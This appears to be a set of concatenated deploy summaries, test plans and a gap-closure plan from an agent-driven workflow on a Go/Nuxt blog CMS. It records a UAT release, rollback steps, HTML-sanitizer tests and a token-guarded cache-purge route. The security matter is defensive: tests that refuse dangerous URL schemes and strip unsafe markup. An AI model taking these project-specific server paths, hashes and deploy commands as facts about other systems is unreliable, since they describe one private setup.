+- sm-grzybyfunkcjonalne-app master `6f4f22296b6295e2750e3d376bd0300c8031ba51`, with journal gitlink `9d5bfc4a…` and vue-grzybyfunkcjonalne-app gitlink `465286a880f0aae6118c2915aa1475a5da353295` (was `ada03b2`; it pins vue-journal-layer v0.2.0).
+
+## Deploy (Task 2)
+
+- **Build sha256:** local `01c0b64a53a3b95f6481be21408cfa7450828414516e6868c3801e937680edc4`. The remote copy matched, first as `bin/grzybyfunkcjonalne.new` and again after the move.
+- **Previous binary:** `bin/grzybyfunkcjonalne.prev`, sha256 `e5b0ad28ca0384993470ac5a3177d502b7bd0b67c553488f86b43ae3363af232`.
+- **Nuxt rollback copy:** `/srv/grzybyfunkcjonalne/nuxt/.output.prev`.
+- **Migrations:** `migrate` printed `✓ migrations applied`, rc 0.
+- **RESTART_TS:** `2026/10/10 11:17:46` (server time, UTC). Log anchor: `client_id=alexandria_2026_10_10T11_17_46_316300`.
+- **Smoke:** `smoke: ok (98 urls)`, then `deploy-ok`.
+
+**Snapshot taken before the human saves (read-only):**
+- `HTML_POST=1` (10-faktow-na-temat-cordycepsu).
+- `SNAPSHOT_POSTS`:
+  ```
+  1:a026264105f900175b9770e637e5ec5c:a026264105f900175b9770e637e5ec5c
+  64:0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c
+  ```
+- `SNAPSHOT_TRANSLATIONS`: `64:en:862fc5b362cc9856e6736a2078dca3ba`. Post 1 has no translation rows.
+- `POST64_STATE=1:1`. The plan expected `x:0`. Post 64's content and content_html both still contain a `<style` element: one `.author-footer` CSS block, at offset 4584 in content and 5035 in content_html. The style block was not removed from content_html on UAT as the plan assumed. This is reported, not a failure. The untouched re-save kept it byte-for-byte, and a re-read after Task 3 still prints `1:1`.
+
+## UAT Acceptance (Task 3)
+
+**Human reply, verbatim:** "Did tests, all points passed, bravo."
+
+The human confirmed that all four steps passed, including the step 3 strip notice, but did not quote the notice text.
+
+**Read-only checks, run after the reply:**
+
+| Check | Result | Detail |
+|---|---|---|
+| posts-unchanged | pass | The md5 rows of posts 1 and 64 match the snapshot exactly |
+| translations-unchanged | pass | `64:en:862fc5b3…` matches; there are still no rows for post 1 |
+| edit-ok | pass | Test post `uat-16-2-blog-editor` (id 105) prints `1:1:1:1:1`: content = content_html, a `data-embed="youtube"` placeholder, a figcaption, an image under `/storage/app/uploads/public/journal/posts/`, and neither `<style` nor `onclick` |
+| site-ok | pass | The public page `/blog/uat-16-2-blog-editor`, fetched on the server, has 1 `src="https://www.youtube-nocookie.com/embed/` iframe. The Go log has 14 lines after the restart anchor, with 0 panic and 0 SQLSTATE |
+
+**Which rows the saves wrote:** only post 64 (11:26:13Z) and post 105 (11:29:56Z) have `updated_at` after RESTART_TS. Post 105 is published. Post 1 still has `updated_at` 2026-10-09 17:33:51Z. The admin save runs GORM `Save`, which always sets `updated_at`, so no save of post 1 reached the database. Either it was not saved, or a different post was opened. The posts-unchanged pass for post 1 is therefore vacuous, and D-03 is proven on post 64 only (see Open Items).
+
+## Files Created/Modified
+
+- `../sm-journal-plugin/go.mod`: nominal require of summercms v0.1.18. The go.work replace stays.
+- `../sm-grzybyfunkcjonalne-app/plugins/golem15/journal` and `vue-grzybyfunkcjonalne-app`: gitlink bumps.
+- `../sm-grzybyfunkcjonalne-app/README.md`: an Admin note on the Blog Editor, lossless untouched saves, and stripped markup being reported.
+- `../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf`, `scripts/check-deploy.sh` and `DEPLOY.md`: `frame-src https://www.youtube-nocookie.com` in the report-only CSP, its check needle and its docs line.
+
+## Decisions Made
+
+- Release now with v0.1.18 (human, Task 1).
+- The real Nuxt rollback path is `nuxt/.output.prev`.
+- The site-ok log check reads the supervisor log file from the restart anchor.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 1 - Bug] The plan's Nuxt rollback path was wrong**
+- **Found during:** Task 2
+- **Issue:** The plan copies, checks and restores `go/build/nuxt/.output(.prev)`. On UAT the Nuxt server runs from `/srv/grzybyfunkcjonalne/nuxt/.output`.
+- **Fix:** The rollback copy was made at `/srv/grzybyfunkcjonalne/nuxt/.output.prev`, and the deploy-ok check tested that path.
+- **Files modified:** none (server layout only)
+- **Commit:** none
+
+**2. [Rule 1 - Bug] The site-ok log check passed vacuously**
+- **Found during:** Task 2 (log check), applied in Task 3
+- **Issue:** `sudo supervisorctl tail -65536 grzybyfunkcjonalne-go` fails on UAT with an ExpatError. The pipeline then counted 0 matching lines, so the check would pass whatever the log contained.
+- **Fix:** Read `/var/log/supervisor/grzybyfunkcjonalne-go.log` directly. The command first requires the restart's River anchor (`client_id=alexandria_2026_10_10T11_17_46_316300`) to be present, then counts panic|SQLSTATE only in the lines after it:
+  `ssh grzybyfunkcjonalne-uat 'F=/var/log/supervisor/grzybyfunkcjonalne-go.log; A=client_id=alexandria_2026_10_10T11_17_46_316300; grep -q "$A" "$F" && awk -v a="$A" "found{print} index(\$0,a){found=1}" "$F" | grep -ciE "panic|SQLSTATE"' | grep -qx 0`
+  The anchor was still in the file (14 lines after it), so the timestamp fallback was not needed. The file holds 6 older SQLSTATE lines, all from before the restart.
+- **Files modified:** none
+- **Commit:** none
+
+---
+
+**Total deviations:** 2, both Rule 1 bugs in the plan's server commands. No shipped code changed.
+**Impact on plan:** Both fixes make the checks stricter. They do not loosen them.
+
+## Open Items (pending human)
+
+1. **D-03 on an HTML post is unproven.** Save post 1 (`10-faktow-na-temat-cordycepsu`) in `/gfadmin/golem15/journal/posts` without touching the editor. Then re-run the posts-unchanged SELECT and confirm that post 1's `updated_at` moved past 2026-10-10 11:17:46Z.
+2. **D-19 category check:** in a category with content, change one word in the Blog Editor and save. No removal notice should appear, and the category page on the site should show the change. Also open post 1's source tab and confirm the stored HTML is unchanged. Not human-verified yet; pending for /msd-verify-work.
+3. **Vhost install (root):** install `/srv/grzybyfunkcjonalne/deploy/grzybyfunkcjonalne-staging.conf` (frame-src https://www.youtube-nocookie.com), then `sudo nginx -t && sudo systemctl reload nginx`. This blocks nothing, because the CSP is report-only.
+4. **Test post `uat-16-2-blog-editor` (id 105) is still published.** Unpublish or delete it when it is no longer needed. The human may keep it for now.
+5. **Docker-host suites:** these go to plan 06 (WINDOWS.md entries 14 to 16).
+
+**Rollback, if any open item fails** (on the server, in `/srv/grzybyfunkcjonalne`):
+- Move `go/bin/grzybyfunkcjonalne.prev` back to `go/bin/grzybyfunkcjonalne`.
+- Move `nuxt/.output.prev` back to `nuxt/.output`.
+- Run `sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt`.
+
+## Auth Gates
+
+None. The executor never asked for, printed or stored a credential. All admin actions were done by the human. On UAT the executor ran only SELECT queries and on-server curl, apart from the Task 2 deploy steps the human approved at the Task 1 gate.
+
+## User Setup Required
+
+See Open Items 1 to 4.
+
+## Next Phase Readiness
+
+- Plan 06 (unit tests) can run. Its tests ship with the next summercms tag, v0.1.19.
+- /msd-verify-work should pick up Open Items 1 and 2.
+
+---
+*Phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget*
+*Completed: 2026-10-10*
+
+## Self-Check: PASSED
+
+- FOUND on origin: tag `v0.1.18` (object `04dc5bd`).
+- FOUND: sm-journal-plugin `9d5bfc4`, equal to origin/main. go.mod requires summercms v0.1.18, and the replace stays.
+- FOUND: host `6f4f222`, equal to origin/master. The gitlinks are journal `9d5bfc4` and vue-grzybyfunkcjonalne-app `465286a`.
+- FOUND: the `frame-src https://www.youtube-nocookie.com` needle in both the staging vhost and check-deploy.sh (1 each).
+- Task 3 checks: posts-unchanged, translations-unchanged, edit-ok and site-ok were all printed in this run.
+
+## Post 1 untouched re-save (closes WINDOWS entry 17)
+
+After the human re-saved post 1 (`10-faktow-na-temat-cordycepsu`) untouched, the orchestrator ran a read-only SELECT on UAT:
+
+- Post 1: `updated_at` is 2026-10-10 12:02:40.245712+00, after RESTART_TS, so the save reached the database. The md5 of `content` and of `content_html` are both still `a026264105f900175b9770e637e5ec5c`, equal to the snapshot.
+- Post 64 is unchanged: `0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c`.
+
+D-03 is now proven on UAT for an HTML post (post 1) and for a markdown post (post 64).
+
+## Follow-up deploy (preview pane and View site)
+
+On 2026-10-10, everything committed was released to UAT: the Blog Editor live preview pane and the admin "View site" link.
+
+- **Pushed refs:**
+  - sm-journal-plugin `2c78211`, equal to origin/main.
+  - Host `0ad1004`, equal to origin/master. Its journal gitlink is `2c78211`.
+  - summercms.go master `b5c70b7` before this record. It includes `85fe541` (View site) and was pushed to origin as `f1d8a75..b5c70b7`.
+- **Binary sha256:**
+  - New: `c68a2099ec6a67d4cbf74086f501b2af2bb4b54f3e7f94fddc04e459d2ab486f`. The local build, the uploaded `.new` and the installed binary all match.
+  - Rollback copy `go/bin/grzybyfunkcjonalne.prev`: `01c0b64a53a3b95f6481be21408cfa7450828414516e6868c3801e937680edc4` (the v0.1.18 deploy from 11:16).
+- **Nuxt rollback:** `nuxt/.output.prev` now holds the v0.1.18 output. The old `.prev` was removed before the copy, so `cp -a` replaced it and did not nest into it.
+- **Release steps:**
+  - `scripts/check-deploy.sh`: ok.
+  - `migrate`: exit 0 ("migrations applied").
+  - Restart of both programs at 2026-10-10T12:37:43Z.
+- **Smoke:** `smoke: ok (98 urls)`.
+- **Go log:** checked after the anchor `River client started client_id=alexandria_2026_10_10T12_37_43_865055`. It has 0 panic or SQLSTATE lines and 0 `level=ERROR` lines.
+- **Feature checks:**
+  - The deployed binary contains `blogeditor__preview` and `previewFrame`, from the journal `assets/dist/blogeditor.js`.
+  - The admin bundle served at `/gfadmin/assets/index-Bqh6wnN4.js` contains `data-view-site`.
+- **Tag:** none was cut. v0.1.19 is still pending, after the unit-test plan (06). The plugin go.mod still requires summercms v0.1.18 with the local replace, and the host builds against the summercms.go working tree through go.work.

+    - "D-10 and D-14 (framework): a FormFieldError on the default or a non-default locale is a 422 on the field with no write and no notices; a non-FormFieldError and a non-string translatable Decode value are opaque 500s; FormFieldDecoded notices become meta.notices entries with field and locale, localized (plural forms through Count), at most 10 per field and locale and 500 runes each; a save without notices has no notices key; the SPA renders notices as text under the field and in the saved toast."
+    - "D-10 and D-02 (Journal, amended): SanitizeHTMLReport returns the input byte for byte with an empty report exactly when the policy keeps everything (property checked over the 35 unsafe payloads, the imported-post fixture and the editor corpus); post and category admin saves strip and report, never answer 422 for markup, and store equal sanitized HTML in content and content_html per locale; an untouched save writes and reports nothing."
+    - "D-05 (amended): every editor-corpus entry passes the Go policy byte for byte and is safe under the layer's sanitizer, the two corpus copies are identical, and the four editor-output rules admit nothing else (other providers, malformed ids, data attributes elsewhere, iframes stay stripped in both policies)."

+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
+
+This plan's slice (CLAUDE.md lean rule 3, user decision 1, plan 06): full unit coverage of the phase's code across summercms.go, sm-journal-plugin and vue-journal-layer, the Postgres tests for a Docker host, and the phase gate. This plan changes tests, the gate script and VALIDATION.md only, so no dist or bundle changes.
+
+## Revision 2026-10-10 (16.1 drift, CONTEXT D-10 amended)
+
+Admin saves now strip and report instead of refusing, so the refusal-case assertions planned here became strip-and-report assertions: a FormFieldError still answers 422, but markup never does. The plan adds the policy cross-check (the editor corpus against both policies, and the identity of the two copies), category strip coverage, "notices only when something was stripped" and "an untouched save writes and reports nothing". The tests that still hold are unchanged in intent: upload sniffing, alias collision, permission, sanitize-then-expand order, byte-stability, the duplicate-attribute rule.
+
+## Spec-less probe fallback
+
+Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
+
+## Artifacts this phase produces (this plan)
+
+- Go tests: `TestFormFieldErrorMessage` (pact); `TestFieldTypeRegistry`, `TestFieldTypeOptions`, `TestFieldTypeCompile`, `TestFieldTypeDecode`, `TestFieldTypeNotices`, `TestFieldTypeUntouched`, `TestFieldTypeLoad`, `TestFieldTypeListValue`, `TestFieldTypeWrites`, `TestFieldTypesRoute`, `TestFieldUpload` (cabana); `TestFieldTypeSavePostgres` (cabana, Docker); `TestBlogEditorDecode`, `TestBlogEditorNotices`, `TestBlogEditorLoad`, `TestLooksLikeHTML`, `TestBlogEditorOptions`, `TestBlogEditorListValue`, `TestBlogEditorUpload`, `TestStoreMedia` and the extended `TestEditorOutputPassesPolicy` and `TestSanitizeHTMLReport` (Journal classes); `TestPostsEditorHooks` (Journal controllers); `TestCategoriesAdminBlogEditor` and the extended `TestPostsAdminResaveKeepsHTML` (Journal root, Docker).
+- Vitest files: `admin/tests/app/fieldTypes.test.ts`; extended `PluginField.test.ts`, `FormField.test.ts`, `registry.test.ts`, `formState.test.ts`, `ListView.test.ts`; `../sm-journal-plugin/tests/blogeditor/{element,schema,serializer,embed}.test.ts`.
+- Layer: extended `tests/embeds.test.ts` and `tests/htmlGate.test.ts`.
+- `scripts/check-phase16.2.sh` (stages `go`, `admin`, `editor`, `layer`, `docs`, `postgres`; the layer stage also compares the two editor-corpus copies; flags `--all`, `--self-test`).
+
+<objective>
+Bring full unit coverage to Phase 16.2 (lean rule 3), add the Postgres tests for a Docker host, write the phase gate and complete the validation map.
+
+Purpose: every behaviour the phase shipped is pinned by a test that fails when it regresses.
+Output: the test files above, scripts/check-phase16.2.sh, an updated 16.2-VALIDATION.md.

+No Docker on this machine (Pitfall 11): run Go tests with explicit `-run` sets; the testcontainers tests are written to fail rather than skip without a database and are listed for the Docker host. Test helpers to reuse: `openDryRunDB`, `newDryRunListService` (modules/cabana/query_relation_test.go), the recording TranslationWriter (modules/cabana/locale_order_test.go), `crudFixture`/`hookFixture` and `principalCtx` (Postgres fixtures in crud_test.go and crud_lifecycle_test.go), `newPostsEnv` and `adminAPI` (sm-journal-plugin admin harness), `memblob.OpenBucket`. Commits: tests only, `test(...)` messages, no co-author tags, stage by explicit path in each repository.

+    - fieldTypes: each script URL loads once even when loadFieldTypes runs twice; global styles stay enabled after activateStyles for any controller; a failed GET or script does not reject; URLs outside the asset prefix are refused.

FormField: notices render as literal text in a status line linked by aria-describedby, none without notices. ListView: an unknown column type renders the row value as text.
+    - Editor schema: every rawHtml tag rule, figure shapes (img only, img plus figcaption, other content to rawHtml), span mark, global attributes on each modelled type, link attributes without defaults and javascript: refused, table rendering without colgroup, thead kept, cell paragraph unwrapping, no trailing paragraph, rawHtml card escaping.

+    - Embed: parseEmbedUrl table (watch, youtu.be, shorts, embed, extra query params, 10 and 12 character ids, other hosts, javascript:), node round trip, insert flow; isPolicyUrl table (http, https, mailto, relative, #fragment accepted; javascript:, vbscript:, data:, tel: and tab- or newline-split schemes refused); upload flow timeout and mismatched id; labels pl and en with en fallback; disabled and invalid attributes.
+    - Layer: expandEmbeds table (valid, invalid id, unknown provider, extra attribute, attribute order swapped, two placeholders, empty input); the sanitize-then-expand pipeline at the sink and the payload-then-sink pipeline (stored iframe stripped, placeholder expanded, expansion output never sanitized again); the mirror: every corpus entry safe, the four rules accepted, the negative cases stripped, existing htmlGate cases unchanged.
+    - Gate: stages go, admin, editor, layer, docs run fail-closed (a go run with "no tests to run", a skip or a missing named test fails; a node run with "not ok" or "# fail" non-zero fails); the editor stage includes corpus.test.ts and the go stage the Journal policy cross-check; the layer stage fails when the layer's tests/fixtures/editor-corpus.json differs from the plugin's (cmp); --self-test proves the detectors and the corpus comparison fail on planted output; --all ends with "Phase 16.2 gate passed"; the postgres stage runs the Docker suites (including TestPostsAdminSaveSanitizesHTML and TestCategoriesAdminContent) and is documented as Docker-host only.

+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| tests → databases | Postgres tests start throwaway containers; nothing else is dialled |
+| tests → network | no test reaches UAT, the npm registry or git origin |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.2-28 | Tampering | test isolation | low | mitigate | Pure tests use stubs, DryRun handles on a DSN that is never dialled, memblob and happy-dom; Postgres tests use testcontainers; no ssh or curl in any test |
+| T-16.2-29 | Repudiation (false green) | phase gate | medium | mitigate | Fail-closed detectors for "no tests to run", skips, missing named tests and node "# fail"; --self-test proves them; Docker suites are named as manual rows, not silently skipped |
+| T-16.2-30 | Tampering (security regression) | strip, policy and permission tests | medium | mitigate | The strip-and-report cases (35 payloads, report property, category strip), the editor-corpus cross-check against both policies and the corpus-copy comparison, upload sniffing, alias collision, upload permission and sanitize-then-expand order are explicit tests in the fail-closed gate, and the 16.1 policy test files are diff-checked against c60abc6, so a later change that weakens them fails the gate |
+| T-16.2-SC | Tampering | packages | high | mitigate | No package is installed: every runner uses the lockfiles committed in plans 01, 02 and 04 |

+# Phase 16.2 Plan 06: Unit Coverage, Postgres Tests and Phase Gate Summary
+
+**Every Phase 16.2 behaviour is now pinned by a test that fails on regression: the untouched-resave contract at five layers, the framework's field type rules and routes, the Journal editor types, storage and policy cross-check, the editor element, schema, serializer and embeds, the layer's sanitize-then-expand order, and a fail-closed gate (`scripts/check-phase16.2.sh`) that passes here with the Docker-only suites reported as NOT RUN.**
+
+## Performance
+
+- **Duration:** 43 min
+- **Started:** 2026-10-10T13:34:11Z
+- **Completed:** 2026-10-10T14:17Z
+- **Tasks:** 3 (tracer, Go coverage, JS coverage plus gate and validation map)
+- **Files:** 26 test, script and planning files across three repositories (14 created, 12 modified), plus one test config (`vite.config.ts`)
+
+## Accomplishments
+
+- **Tracer (Task 1, D-03, D-07):** element.test.ts (15 cases: Source tab, tab buttons, echo, preview, reattach, a real Source edit); PluginField echo-on-connect stub; `TestFieldTypeUntouched` (served values skip Decode, writes and notices; one changed locale only; canonical JSON; create never skips); `TestBlogEditorLoad`; `TestPostsAdminResaveKeepsHTML` rewritten in three stages (HTML post, markdown post with imported content_html, edited clean save), byte comparisons without TrimSpace and no meta.notices.
+- **Go (Task 2):** pact `TestFormFieldErrorMessage`, `TestFormFieldTypeContract`; cabana `TestFieldTypeRegistry`, `TestFieldTypeOptions`, `TestFieldTypeCompile`, `TestFieldTypeDecode`, `TestFieldTypeNotices`, `TestFieldTypeLoad`, `TestFieldTypeListValue`, `TestFieldTypeWrites`, `TestFieldTypesRoute`, `TestFieldUpload`; Docker `TestFieldTypeSavePostgres`. Journal `TestBlogEditorDecode`, `TestBlogEditorNotices`, `TestLooksLikeHTML`, `TestBlogEditorOptions`, `TestBlogEditorListValue`, `TestBlogEditorUpload`, `TestStoreMedia`, extended `TestEditorOutputPassesPolicy` and `TestSanitizeHTMLReport`, `TestPostsEditorHooks`, Docker `TestCategoriesAdminBlogEditor`.
+- **JS (Task 3):** admin `fieldTypes.test.ts` (new) plus registry, formState, FormField, ListView and AppShell (View site: href `origin + "/"`, `_blank`, `noopener noreferrer`, en/pl label and phrasebook keys); editor `schema`, `serializer`, `embed` tests (new) next to the existing smoke, corpus and preview tests; layer embeds (order at the sinks, exact-serialization only, stable global regex, fixed src) and htmlGate (four rules accept, Go negatives stripped, corpus free of danger).
+- **Gate:** `scripts/check-phase16.2.sh` with stages go, admin, editor, layer, docs, postgres, `--self-test` (go, TAP and vitest-JSON detectors plus the corpus `cmp` on planted output) and `--all`.
+- **Validation map:** every row has real task IDs, commands and statuses; Docker suites are manual rows; `nyquist_compliant: true`, `wave_0_complete: true`.

+
+No fix(...) commit: no test exposed a production defect. Nothing was pushed or tagged.
+
+## Verification
+
+- Task 1 verify: element vitest 15/15, PluginField 17/17, `--- PASS: TestFieldTypeUntouched`, `--- PASS: TestBlogEditorLoad`, `go -C ../sm-journal-plugin vet ./...` clean.
+- Task 2 verify: 13 of 13 named cabana tests pass, 10 of 10 named Journal classes tests pass, `TestPostsEditorHooks` passes, vet clean in both repositories; `git -C ../sm-journal-plugin diff --quiet c60abc6 -- classes/format_html_test.go classes/check_html_test.go classes/format_translation_test.go` exits 0; Task 2's diffs (`08a2002..3404a4b`, `d5a5413..da7a073`) hold only `*_test.go` files.
+- Task 3 verify: admin 1218/1218, editor 220/220, layer `# fail 0` (144 pass); `check-phase16.2.sh --self-test` passes; `--all` ends with `Phase 16.2 gate passed` (go, admin, editor, layer, docs PASS; postgres NOT RUN).
+- Typecheck: `vue-tsc --noEmit` (admin) and `tsc --noEmit` (plugin) clean; `check-dist.sh` and `check-admin-dist.sh` report current bundles.
+- Full `go test ./...`: the only failures in summercms.go (beachcomber, bouncer, cabana, conga, lagoon, lagoon/attach, lighthouse, postcard, docs/examples/blog) and sm-journal-plugin (root, models, updates) are the testcontainers suites failing on `docker.sock: permission denied`; no other failing test line.

+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 2 - Test isolation] happy-dom loaded remote iframe pages in the editor tests**
+- **Found during:** Task 1 (baseline run of the plugin vitest suite)
+- **Issue:** The quick-task preview tests put payloads with `https://example.test/` iframes into the preview frame's srcdoc; happy-dom tried to fetch them (12 `getaddrinfo ENOTFOUND example.test` per run). The threat model (T-16.2-28) says no test reaches the network.
+- **Fix:** `test.environmentOptions.happyDOM.settings.disableIframePageLoading: true` in the plugin's `vite.config.ts` (test block only; the build output is unchanged, `check-dist.sh` passes). The admin suite was checked and makes no such request.
+- **Files modified:** ../sm-journal-plugin/vite.config.ts
+- **Commit:** 85963b1
+
+**2. [Plan text] Locales of the Postgres resave test**
+- **Issue:** The plan says "pl and en ... no en translation row ... en content_html translation" with pl as host; the harness (`bootJournal`) makes en the default locale and pl the translation (as plan 03 recorded).
+- **Fix:** host assertions on en; the untouched empty value and the translation assertions on pl. The untouched-empty check compares pl `content`/`content_html` presence and the translation row count before and after the PUT.
+- **Commit:** d5a5413
+
+**3. [Plan text] Edited-block markup compared by shape**
+- **Issue:** schema tests that serialize a whole document from the model saw attribute order and style normalization differ from the source (`<a class="more" data-id="7" href="/a">`, `color: red;`). This is plan 02's documented behaviour for edited blocks, not a defect.
+- **Fix:** those cases compare element names, sorted attributes and text; untouched blocks keep byte comparisons everywhere.
+- **Commit:** a578dda
+
+**4. Files outside the plan's list**
+- `admin/tests/shell/AppShell.test.ts` (the View site link test the orchestrator asked for), `../sm-journal-plugin/vite.config.ts` (deviation 1), `.planning/WINDOWS.md` (entries 20 and 21).
+
+---
+
+**Total deviations:** 1 auto-fixed (test isolation) plus 2 plan-text adaptations and the listed extra files. **Impact:** no production code changed; no assertion that describes shipped behaviour was relaxed (the 16.1 policy test files are unchanged since c60abc6).
+
+## Issues Encountered
+
+- No Docker on this host: the Postgres suites compile under go vet and fail rather than skip; see the Docker-host command list.
+
+## Known Stubs
+
+None.
+
+## Next Phase Readiness
+
+- Run `bash scripts/check-phase16.2.sh postgres` on a Docker host, then /msd-verify-work 16.2 (WINDOWS 18 and 19 remain human UAT items from plan 05).
+- The orchestrator tags v0.1.19 separately.
+- STATE.md and ROADMAP.md updates are pending: another session holds uncommitted edits to them (see below).

+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
+
+This plan's slice: close the two gaps UAT found (16.2-UAT.md, diagnosed 2026-10-10), then release and redeploy so UAT Tests 2 and 3 can be re-run on the deployed build.
+
+- **G-16.2-1** (UAT Test 1, `.planning/debug/postgres-gate-field-types-conformance.md`): the postgres stage of the phase gate is red. Two 16.2 admin routes have no conformance case, the Journal SVG test still expects `mlmarkdown`, and both checks were hidden inside Docker-only test binaries.
+- **G-16.2-2** (UAT Test 2, `.planning/debug/category-content-not-on-site.md`): the save was correct, but the host Nuxt app's Nitro swr route cache (`'/**': { swr: 300 }`, Phase 16 decision D-07) kept serving the page rendered before the edit. User decision 2026-10-10: fix it in 16.2. A Journal post or category save in the admin clears the host's route-cache entries, so the site shows the edit on the next view.
+
+## User decisions (binding, 2026-10-10)
+
+- Exactly one plan, this one. The user overrode CLAUDE.md lean rule 3 ("unit tests are a separate last plan") for this gap closure. The tests are the final code task (Task 3), before the release tasks. The 2-3 tasks per plan guideline gives way to that decision, so this plan has six tasks.
+- G-16.2-2 is fixed inside 16.2, by a Journal save event, a token-protected Nuxt server route on 127.0.0.1, and host configuration for the URL and token.
+- G-16.2-1: two conformance cases, a Docker-free route-coverage check in the gate's go stage, the TestJournalSVGEmbed fix and the PATTERNS checklist line.
+- The plan ends with the full gate green, including postgres (this machine has Docker), then a release and a UAT deploy following 16.2-05. The UAT-touching steps are checkpoints, as in 16.2-05.
+
+## Design decisions (planner, within the user decisions)
+
+- **Where each part lives.**
+  - The Go save event is in **sm-journal-plugin** (`classes/site_cache.go` plus the post and category Form hooks). The framework is unchanged, so no framework README or docs page changes.
+  - The purge route is in **vue-journal-layer**, so every blog host that extends the layer gets it.
+  - The host supplies the URL and the shared token through the server `.env` files: `go/.env` gets `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL` and `..._TOKEN`, and `nuxt/.env` gets `NUXT_JOURNAL_CACHE_PURGE_TOKEN`.
+  - With neither set, nothing changes. Local development and the existing tests need no configuration.
+- **What is purged.** The route removes every entry of Nitro's route-cache group (`cache:nitro:routes:*`): pages, `_payload.json` and feeds. This is a superset of the decision's list (category and post pages, `/blog` lists and their payloads).
+  - A precise per-page purge cannot be computed from one save. The host's header menu lists every category on every page. The home page, category pages, related posts and the author page all list posts.
+  - Nitro keys entries as the first 16 word characters of the path plus a hash, so matching pages would mean mirroring Nitro internals.
+  - At blog scale, a full purge only costs one fresh render per page on its next view.
+- **Ordering.** The purge runs through `lagoon.AfterCommit` on the cabana save transaction. If it ran before the commit, a concurrent view could re-cache the old content for the whole TTL. It never runs for a failed save. It runs synchronously before the save response, with a 2 s timeout on `context.WithoutCancel`, so the cache is already clear when the admin sees "saved". Errors are logged, never returned.
+- **The route is never cached itself.** Nitro wraps every handler whose route matches a host rule such as `'/**': { swr }` in its cached handler. That handler keys by path and does not skip POST (nitropack 2.13.4 `dist/runtime/internal/cache.mjs`), so without a rule a second purge within the TTL would get the first response from the cache. The layer adds `routeRules: { '/api/__journal__/**': { cache: false } }`.
+- **Browsers.** Nitro answers route-cached pages with `cache-control: s-maxage=<n>, stale-while-revalidate`. That carries no browser max-age, so browsers apply heuristic freshness from Last-Modified. h3's `handleCacheHeaders` answers a 304 with `public, max-age=<n>, s-maxage=<n>` and ends the response itself. After one revalidation, a browser may reuse its copy for the whole TTL without asking, and no server purge would reach it.
+  - The layer's Nitro plugin rewrites every cache-control value that carries s-maxage to include `max-age=0`.
+  - Browsers then revalidate each view, which is a cheap 304 while the page is unchanged. Shared caches keep s-maxage.
+  - The rewrite works through a per-request wrapper of `res.setHeader`, because the 304 path ends the response before any beforeResponse hook runs.
+- **Guards.** The route is POST only. It answers 404 when the token is missing or shorter than 32 characters. It also answers 404 when the request carries `X-Forwarded-For`, `X-Real-IP` or `Forwarded`: the UAT vhost sets the first two on every proxied request, and the Go caller sends none. A missing or wrong bearer token gets 401, compared in constant time. The UAT vhost already refuses POST to Nuxt (`limit_except GET HEAD`, required by check-deploy.sh), so the route is reachable only on loopback.
+- **Scope.** Admin saves of posts and categories purge. The public write API (D-09), the import action and tags do not, because the decision names admin post and category saves.

+## Release facts at planning time (2026-10-10)
+
+- summercms.go: v0.1.19 is tagged and on origin (cf10ce8). UAT never ran it: the UAT binary was built from b5c70b7 at 12:37 UTC. The next tag is **v0.1.20**.
+- sm-journal-plugin: main 0efaa04 is on origin and requires v0.1.19.
+- vue-journal-layer: main 782aa4d is on origin. The latest tag is v0.2.0, so the next tag is **v0.3.0** (a new feature).
+- vue-grzybyfunkcjonalne-app: main 465286a is on origin and pins #v0.2.0.
+- Host sm-grzybyfunkcjonalne-app: master 0ad1004 is on origin, with journal gitlink 2c78211 (before the review fixes) and vue app gitlink 465286a.
+- Docker 29.7.2 answers on this machine.
+
+<objective>
+Close G-16.2-1 (the phase gate's postgres stage is red) and G-16.2-2 (an admin save does not show on the site until the Nitro swr cache expires). Then run the full gate including postgres, release summercms v0.1.20 and vue-journal-layer v0.3.0 with the plugin and host bumps, deploy to UAT per 16.2-05, and re-run UAT Tests 3 and 2 (D-03, D-19).
+
+Purpose: the phase cannot pass verification while its gate is red, and editors must see a Journal edit on the site at once.
+Output: the conformance and purge code and tests in four repositories, an updated gate, pushed tags and heads, a UAT release, and recorded UAT results.

+Repositories (siblings of summercms.go; run commands from summercms.go):
+- summercms.go: framework tests, gate, planning docs.
+- ../sm-journal-plugin: the Go save event.
+- ../vue-journal-layer: the purge route, browser revalidation and the end-to-end check.
+- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app: the layer pin and README.
+- ../sm-grzybyfunkcjonalne-app: deploy files, docs, gitlinks and the UAT build.
+
+The host builds the Journal plugin from its own submodule checkout (plugins/golem15/journal) and the framework from ../summercms.go through go.work.
+
+Server facts (DEPLOY.md, 16.2-05-SUMMARY):
+- SSH alias `grzybyfunkcjonalne-uat`; install root `/srv/grzybyfunkcjonalne`, with `go/.env` and `nuxt/.env` owned by the deploy user, mode 0600.
+- The Nuxt rollback copy lives at `nuxt/.output.prev`. Delete the old copy before `cp -a`.
+- `sudo supervisorctl tail` fails on UAT, so log checks read `/var/log/supervisor/grzybyfunkcjonalne-go.log` from the restart's River `client_id=` anchor.
+- The UAT realm exempts requests from 127.0.0.1, so on-server curls resolve the host to loopback.
+
+Helpers to reuse:
+- `newPostsEnv(t, extraEnv ...string)` and `adminAPI` (../sm-journal-plugin/admin_harness_test.go).
+- `lagoon.AfterCommit` (modules/lagoon/transaction.go) and `app.Publish`/`app.Lookup` (modules/backpack/app.go).
